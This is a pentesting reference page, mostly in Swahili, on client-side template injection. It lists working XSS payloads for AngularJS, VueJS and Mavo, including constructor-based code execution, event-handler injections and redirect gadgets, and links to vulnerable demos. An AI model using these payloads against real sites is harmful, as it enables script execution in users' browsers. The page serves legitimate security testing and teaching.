Client Side Template Injection (CSTI)

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{% endhint %}

Summary

Ni kama Server Side Template Injection lakini katika mteja. SSTI inaweza kukuruhusu kutekeleza msimbo kwenye seva ya mbali, CSTI inaweza kukuruhusu kutekeleza msimbo wa JavaScript wa kiholela katika kivinjari cha mwathirika.

Kujaribu udhaifu huu ni kama ilivyo katika kesi ya SSTI, mfasiri anatarajia kigezo na atakitekeleza. Kwa mfano, kwa payload kama {{ 7-7 }}, ikiwa programu ina udhaifu utaona 0, na ikiwa sivyo, utaona asili: {{ 7-7 }}

AngularJS

AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa ng-app. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.

Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo ng-app, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufikiwa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

{% hint style="danger" %} Angular 1.6 iliondoa sandbox hivyo kutoka toleo hili payload kama {{constructor.constructor('alert(1)')()}} au <input ng-focus=$event.view.alert('XSS')> inapaswa kufanya kazi. {% endhint %}

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/
Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

A really good post on CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Mwandiko: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Angalia zaidi VUE payloads katika https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Zaidi ya payloads katika https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Orodha ya Ugunduzi wa Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

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